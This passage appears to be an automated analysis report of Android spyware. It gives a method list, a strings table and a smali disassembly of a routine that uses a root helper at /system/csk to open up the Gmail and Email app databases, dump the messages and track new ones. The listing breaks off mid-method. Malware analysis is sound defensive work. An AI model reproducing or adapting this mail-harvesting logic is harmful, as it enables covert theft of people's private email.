      • java.util.concurrent.locks.Lock.unlock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • GetContentMail getMailDb isDump:
      • /system/csk
      • GetContent getMailDb MY_SU does not exists. returning
      • /data/data/com.google.android.gm
      • GetContentMail getMailDb EMAIL
      • GetContentMail Mail messages:
      • /databases
      • GetContentMail getMailDb mail not exists -> exit!:
      • GetContentMail getMailDb -
      • /data/data/com.android.email
      • GetContentMail getMailDb MAIL
      • 0777
      • GetContentMail getMailDb add mail DB:
      • EmailProvider.db
      • GetContentMail Mail add mail path: EmailProvider.db
      • GetContentMail getMailDb get messages number of DBs:
      • /
      • GetContentMail getMailDb messages DB:
      • GetContentMail getMailDb messages DB path:
      • select * from messages
      • GetContentMail getMailDb dump curEmailProvider == null return
      • GetContentMail getMailDb inner message reader finally
      • GetContentMail getMailDb inner message reader finally exception-
      • GetContentMail getMailDb inner Throwable-
      • LOG_EMAIL_DUMP_FAILED
      • GetContentMail getMailDb finally
      • GetContentMail getMailDb finally exception-
      • GetContentMail getMailDb openDatabase try to OPEN_READONLY
      • select * from Message
      • NetworkMail
      • GetContentMail getMailDb monitor set last id
      • select _id from messages order by _id desc limit 1;
      • GetContentMail get mail monitor set last id Query:
      • GetContentMail getMailDb last id:
      • GetContentMail getMailDb added NEW last id:
      • GetContentMail getMailDb there are no messages or failed to fatche them
      • select _id from Message order by _id desc limit 1;
      • GetContentMail getMailDb no messages
      • GetContentMail getMailDb emailProviderDBIndex == null no messages
      • GetContentMail getMailDb preference mailIndex:
      • select * from messages where _id > \'
      • \'
      • GetContentMail get mail monitor query:
      • GetContentMail getMailDb on monitor curEmailProvider == null return
      • select * from Message where _id > \'
      • GetContentMail getMailDb inner message reader Throwable-
      • LOG_EMAIL_MONITOR_FAILED
      • GetContentMail getMailDb NO DBs DBs:
      • GetContentMail getMailDb end
      Position Instruction Meta Information
      0const/4 v0, 0x0
      1const/4 v3, 0x0
      2const/4 v10, 0x1
      3try_start_3: new-instance v1, Ljava/lang/StringBuilder;
      5const-string v2, "GetContentMail getMailDb isDump: "
      7invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      8iget-boolean v2, p0, Lcom/network/android/s;->a:Z
      10invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      11move-result-object v1
      13invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      14move-result-object v1
      16invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      17new-instance v1, Ljava/io/File;
      19const-string v2, "/system/csk"
      21invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      23invoke-virtual {v1}, Ljava/io/File;->exists()Z
      24move-result v1
      25if-nez v1, :cond_2a
      27const-string v0, "GetContent getMailDb MY_SU does not exists. returning"
      29invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      30goto_29: return-void
      31cond_2a: iget v1, p0, Lcom/network/android/s;->b:I
      32if-ne v1, v10, :cond_91
      34const-string v1, "/data/data/com.google.android.gm"
      36const-string v2, "GetContentMail getMailDb EMAIL"
      38invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      39move-object v2, v1
      40goto_36: new-instance v1, Ljava/lang/StringBuilder;
      42const-string v4, "GetContentMail Mail messages:"
      44invoke-direct {v1, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      46invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      47move-result-object v1
      49invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      50move-result-object v1
      52invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      53new-instance v1, Ljava/lang/StringBuilder;
      55invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      57invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      58move-result-object v1
      60const-string v4, "/databases"
      62invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      63move-result-object v1
      65invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      66move-result-object v1
      67new-instance v4, Ljava/io/File;
      69invoke-direct {v4, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      71invoke-virtual {v4}, Ljava/io/File;->exists()Z
      72move-result v4
      73if-nez v4, :cond_9a
      74new-instance v0, Ljava/lang/StringBuilder;
      76const-string v1, "GetContentMail getMailDb mail not exists -> exit!: "
      78invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      80invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      81move-result-object v0
      83invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      84move-result-object v0
      86invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      87try_end_78: goto/16 :goto_29
      88catch_79: move-exception v0
      89new-instance v1, Ljava/lang/StringBuilder;
      91const-string v2, "GetContentMail getMailDb - "
      93invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      95invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      96move-result-object v2
      98invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      99move-result-object v1
      101invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      102move-result-object v1
      104invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      105goto/16 :goto_29
      106cond_91:
      107const-string v1, "/data/data/com.android.email"
      109const-string v2, "GetContentMail getMailDb MAIL"
      111invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      112move-object v2, v1
      113goto/16 :goto_36
      114cond_9a: new-instance v2, Ljava/util/concurrent/locks/ReentrantReadWriteLock;
      116invoke-direct {v2}, Ljava/util/concurrent/locks/ReentrantReadWriteLock;-><init>()V
      118invoke-virtual {v2}, Ljava/util/concurrent/locks/ReentrantReadWriteLock;->readLock()Ljava/util/concurrent/locks/ReentrantReadWriteLock$ReadLock;
      119try_end_a2: move-result-object v6
      120try_start_a3:
      121invoke-interface {v6}, Ljava/util/concurrent/locks/Lock;->lock()V
      123const-string v2, "0777"
      125invoke-static {v2, v1}, Lcom/network/android/m;->b(Ljava/lang/String;Ljava/lang/String;)V
      127invoke-static {v1}, Lcom/network/android/m;->d(Ljava/lang/String;)[Ljava/lang/String;
      128move-result-object v2
      130const-string v4, "0777"
      132invoke-static {v4, v1, v2}, Lcom/network/android/m;->a(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)V
      133new-instance v4, Ljava/util/LinkedList;
      135invoke-direct {v4}, Ljava/util/LinkedList;-><init>()V
      136iget v5, p0, Lcom/network/android/s;->b:I
      137if-ne v5, v10, :cond_e2
      138goto_bd: array-length v5, v2
      139if-ge v0, v5, :cond_ec
      140aget-object v5, v2, v0
      142invoke-static {v5}, Lcom/network/android/r;->a(Ljava/lang/String;)Z
      143move-result v7
      144if-eqz v7, :cond_df
      146invoke-interface {v4, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z
      147new-instance v5, Ljava/lang/StringBuilder;
      149const-string v7, "GetContentMail getMailDb add mail DB:"
      151invoke-direct {v5, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      152aget-object v7, v2, v0
      154invoke-virtual {v5, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      155move-result-object v5
      157invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      158move-result-object v5
      160invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      161cond_df: add-int/lit8 v0, v0, 0x1
      162goto/16 :goto_bd
      163cond_e2:
      164const-string v0, "EmailProvider.db"
      166invoke-interface {v4, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
      168const-string v0, "GetContentMail Mail add mail path: EmailProvider.db"
      170invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      171cond_ec: new-instance v0, Ljava/lang/StringBuilder;
      173const-string v2, "GetContentMail getMailDb get messages number of DBs:"
      175invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      177invoke-interface {v4}, Ljava/util/List;->size()I
      178move-result v2
      180invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      181move-result-object v0
      183invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      184move-result-object v0
      186invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      188invoke-interface {v4}, Ljava/util/List;->size()I
      189move-result v0
      190if-lez v0, :cond_443
      192invoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
      193move-result-object v7
      194move-object v2, v3
      195goto_10d:
      196invoke-interface {v7}, Ljava/util/Iterator;->hasNext()Z
      197try_end_110: move-result v0
      198if-eqz v0, :cond_459
      199try_start_113:
      200invoke-interface {v7}, Ljava/util/Iterator;->next()Ljava/lang/Object;
      201move-result-object v4
      202check-cast v4, Ljava/lang/String;
      203new-instance v0, Ljava/lang/StringBuilder;
      205invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      207invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      208move-result-object v0
      210const-string v5, "/"
      212invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      213move-result-object v0
      215invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      216move-result-object v0
      218invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      219move-result-object v0
      220new-instance v5, Ljava/lang/StringBuilder;
      222const-string v8, "GetContentMail getMailDb messages DB:"
      224invoke-direct {v5, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      226invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      227move-result-object v5
      229invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      230move-result-object v5
      232invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      233new-instance v5, Ljava/lang/StringBuilder;
      235const-string v8, "GetContentMail getMailDb messages DB path:"
      237invoke-direct {v5, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      239invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      240move-result-object v5
      242invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      243move-result-object v5
      245invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      246try_end_154: const/4 v5, 0x0
      247const/16 v8, 0x10
      248try_start_157:
      249invoke-static {v0, v5, v8}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
      250try_end_15a: move-result-object v3
      251goto_15b: iget-boolean v0, p0, Lcom/network/android/s;->a:Z
      252if-eqz v0, :cond_1f8
      253iget v0, p0, Lcom/network/android/s;->b:I
      254if-ne v0, v10, :cond_1ef
      256const-string v0, "select * from messages"
      257const/4 v5, 0x0
      259invoke-virtual {v3, v0, v5}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      260move-result-object v2
      261goto_16a: if-nez v2, :cond_393
      263const-string v0, "GetContentMail getMailDb dump curEmailProvider == null return"
      265invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      266try_end_171:
      267const-string v0, "GetContentMail getMailDb inner message reader finally"
      269invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      270if-eqz v3, :cond_17b
      272invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      273cond_17b: if-eqz v2, :cond_10d
      275invoke-interface {v2}, Landroid/database/Cursor;->close()V
      276try_end_180: goto/16 :goto_10d
      277catch_181: move-exception v0
      278try_start_182: new-instance v4, Ljava/lang/StringBuilder;
      280const-string v5, "GetContentMail getMailDb inner message reader finally exception- "
      282invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      284invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      285move-result-object v5
      287invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      288move-result-object v4
      290invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      291move-result-object v4
      293invoke-static {v4, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      294try_end_198: goto/16 :goto_10d
      295catch_19a: move-exception v0
      296try_start_19b: new-instance v1, Ljava/lang/StringBuilder;
      298const-string v2, "GetContentMail getMailDb inner Throwable- "
      300invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      302invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      303move-result-object v2
      305invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      306move-result-object v1
      308invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      309move-result-object v1
      311invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      312iget-boolean v0, p0, Lcom/network/android/s;->a:Z
      313if-eqz v0, :cond_481
      314const/4 v0, 0x1
      315const/16 v1, 0xe
      317const-string v2, "LOG_EMAIL_DUMP_FAILED"
      319invoke-static {v0, v1, v2}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      320goto_1bd:
      321const-string v0, "GetContentMail getMailDb finally"
      323invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      325invoke-interface {v6}, Ljava/util/concurrent/locks/Lock;->unlock()V
      326try_end_1c5: goto/16 :goto_29
      327catch_1c7: move-exception v0
      328try_start_1c8: new-instance v1, Ljava/lang/StringBuilder;
      330const-string v2, "GetContentMail getMailDb finally exception- "
      332invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      334invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      335move-result-object v2
      337invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      338move-result-object v1
      340invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      341move-result-object v1
      343invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      344try_end_1de: goto/16 :goto_29
      345catch_1e0: move-exception v5
      346try_start_1e1:
      347const-string v5, "GetContentMail getMailDb openDatabase try to OPEN_READONLY "
      349invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      350const/4 v5, 0x0
      351const/16 v8, 0x11
      353invoke-static {v0, v5, v8}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
      354move-result-object v3
      355goto/16 :goto_15b
      356cond_1ef:
      357const-string v0, "select * from Message"
      358const/4 v5, 0x0
      360invoke-virtual {v3, v0, v5}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      361move-result-object v2
      362goto/16 :goto_16a
      363cond_1f8:
      364iget-object v0, p0, Lcom/network/android/s;->c:Landroid/content/Context;
      366const-string v5, "NetworkMail"
      367const/4 v8, 0x0
      369invoke-virtual {v0, v5, v8}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      370move-result-object v5
      372invoke-static {v4}, Lcom/network/android/h;->b(Ljava/lang/String;)Ljava/lang/String;
      373move-result-object v0
      374const/4 v8, 0x0
      376invoke-interface {v5, v0, v8}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      377move-result-object v0
      378if-nez v0, :cond_30a
      380const-string v0, "GetContentMail getMailDb monitor set last id"
      382invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      383iget v0, p0, Lcom/network/android/s;->b:I
      384if-ne v0, v10, :cond_2a8
      386const-string v0, "select _id from messages order by _id desc limit 1;"
      387goto_217: new-instance v8, Ljava/lang/StringBuilder;
      389const-string v9, "GetContentMail get mail monitor set last id Query: "
      391invoke-direct {v8, v9}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      393invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      394move-result-object v8
      396invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      397move-result-object v8
      399invoke-static {v8}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      400const/4 v8, 0x0
      402invoke-virtual {v3, v0, v8}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      403move-result-object v0
      404if-eqz v0, :cond_2db
      406invoke-interface {v0}, Landroid/database/Cursor;->moveToFirst()Z
      407move-result v8
      408if-eqz v8, :cond_2ac
      409const/4 v8, 0x0
      411invoke-interface {v0, v8}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      412move-result-object v0
      413new-instance v8, Ljava/lang/StringBuilder;
      415const-string v9, "GetContentMail getMailDb last id: "
      417invoke-direct {v8, v9}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      419invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      420move-result-object v8
      422invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      423move-result-object v8
      425invoke-static {v8}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      426new-instance v8, Ljava/lang/StringBuilder;
      428const-string v9, "GetContentMail getMailDb added NEW last id: "
      430invoke-direct {v8, v9}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      432invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      433move-result-object v8
      435invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      436move-result-object v8
      438invoke-static {v8}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      440invoke-interface {v5}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
      441move-result-object v5
      443invoke-static {v4}, Lcom/network/android/h;->b(Ljava/lang/String;)Ljava/lang/String;
      444move-result-object v8
      446invoke-interface {v5, v8, v0}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      448invoke-interface {v5}, Landroid/content/SharedPreferences$Editor;->commit()Z
      449if-nez v0, :cond_31c
      451const-string v0, "GetContentMail getMailDb there are no messages or failed to fatche them"
      453invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      454try_end_274:
      455const-string v0, "GetContentMail getMailDb inner message reader finally"
      457invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      458if-eqz v3, :cond_27e
      460invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      461cond_27e: if-eqz v2, :cond_10d
      463invoke-interface {v2}, Landroid/database/Cursor;->close()V
      464try_end_283: goto/16 :goto_10d
      465catch_285: move-exception v0
      466try_start_286: new-instance v4, Ljava/lang/StringBuilder;
      468const-string v5, "GetContentMail getMailDb inner message reader finally exception- "
      470invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      472invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      473move-result-object v5
      475invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      476move-result-object v4
      478invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      479move-result-object v4
      481invoke-static {v4, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      482try_end_29c: goto/16 :goto_10d
      483catchall_29e: move-exception v0
      484try_start_29f:
      485const-string v1, "GetContentMail getMailDb finally"
      487invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      489invoke-interface {v6}, Ljava/util/concurrent/locks/Lock;->unlock()V
      490try_end_2a7: throw v0
      491try_end_2a8:
      492const-string v0, "select _id from Message order by _id desc limit 1;"
      493goto/16 :goto_217
      494cond_2ac:
      495const-string v0, "GetContentMail getMailDb no messages"
      497invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      498try_end_2b1:
      499const-string v0, "GetContentMail getMailDb inner message reader finally"
      501invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      502if-eqz v3, :cond_2bb
      504invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      505cond_2bb: if-eqz v2, :cond_10d
      507invoke-interface {v2}, Landroid/database/Cursor;->close()V
      508try_end_2c0: goto/16 :goto_10d
      509catch_2c2: move-exception v0
      510try_start_2c3: new-instance v4, Ljava/lang/StringBuilder;
      512const-string v5, "GetContentMail getMailDb inner message reader finally exception- "
      514invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      516invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      517move-result-object v5
      519invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      520move-result-object v4
      522invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      523move-result-object v4
      525invoke-static {v4, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      526try_end_2d9: goto/16 :goto_10d
      527cond_2db:
      528const-string v0, "GetContentMail getMailDb emailProviderDBIndex == null no messages"
      530invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      531try_start_2e0:
      532const-string v0, "GetContentMail getMailDb inner message reader finally"
      534invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      535if-eqz v3, :cond_2ea
      537invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      538cond_2ea: if-eqz v2, :cond_10d
      540invoke-interface {v2}, Landroid/database/Cursor;->close()V
      541try_end_2ef: goto/16 :goto_10d
      542catch_2f1: move-exception v0
      543try_start_2f2: new-instance v4, Ljava/lang/StringBuilder;
      545const-string v5, "GetContentMail getMailDb inner message reader finally exception- "
      547invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      549invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      550move-result-object v5
      552invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      553move-result-object v4
      555invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      556move-result-object v4
      558invoke-static {v4, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      559try_end_308: goto/16 :goto_10d
      560cond_30a: new-instance v5, Ljava/lang/StringBuilder;
      562const-string v8, "GetContentMail getMailDb preference mailIndex: "
      564invoke-direct {v5, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      566invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      567move-result-object v5
      569invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      570move-result-object v5
      572invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      573cond_31c: iget v5, p0, Lcom/network/android/s;->b:I
      574if-ne v5, v10, :cond_37d
      575new-instance v5, Ljava/lang/StringBuilder;
      577const-string v8, "select * from messages where _id > \'"
      579invoke-direct {v5, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      581invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      582move-result-object v0
      584const-string v5, "\' "
      586invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      587move-result-object v0
      589invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      590move-result-object v0
      591goto_335: new-instance v5, Ljava/lang/StringBuilder;
      593const-string v8, "GetContentMail get mail monitor query: "
      595invoke-direct {v5, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      597invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      598move-result-object v5
      600invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      601move-result-object v5
      603invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      604const/4 v5, 0x0
      606invoke-virtual {v3, v0, v5}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      607move-result-object v2
      608if-nez v2, :cond_16a
      610const-string v0, "GetContentMail getMailDb on monitor curEmailProvider == null return"
      612invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      613try_start_353:
      614const-string v0, "GetContentMail getMailDb inner message reader finally"
      616invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      617if-eqz v3, :cond_35d
      619invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      620cond_35d: if-eqz v2, :cond_10d
      622invoke-interface {v2}, Landroid/database/Cursor;->close()V
      623try_end_362: goto/16 :goto_10d
      624catch_364: move-exception v0
      625try_start_365: new-instance v4, Ljava/lang/StringBuilder;
      627const-string v5, "GetContentMail getMailDb inner message reader finally exception- "
      629invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      631invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      632move-result-object v5
      634invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      635move-result-object v4
      637invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      638move-result-object v4
      640invoke-static {v4, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      641try_end_37b: goto/16 :goto_10d
      642cond_37d: new-instance v5, Ljava/lang/StringBuilder;
      644const-string v8, "select * from Message where _id > \'"
      646invoke-direct {v5, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      648invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      649move-result-object v0
      651const-string v5, "\' "
      653invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      654move-result-object v0
      656invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      657move-result-object v0
      658goto/16 :goto_335
      659cond_393:
      660iget-object v0, p0, Lcom/network/android/s;->c:Landroid/content/Context;
      661iget v5, p0, Lcom/network/android/s;->b:I
      663invoke-static/range {v0 .. v5}, Lcom/network/android/r;->a(Landroid/content/Context;Ljava/lang/String;Landroid/database/Cursor;Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;I)V
      664try_end_39a:
      665const-string v0, "GetContentMail getMailDb inner message reader finally"
      667invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      668if-eqz v3, :cond_3a4
      670invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      671cond_3a4: if-eqz v2, :cond_10d
      673invoke-interface {v2}, Landroid/database/Cursor;->close()V
      674try_end_3a9: goto/16 :goto_10d
      675catch_3ab: move-exception v0
      676try_start_3ac: new-instance v4, Ljava/lang/StringBuilder;
      678const-string v5, "GetContentMail getMailDb inner message reader finally exception- "
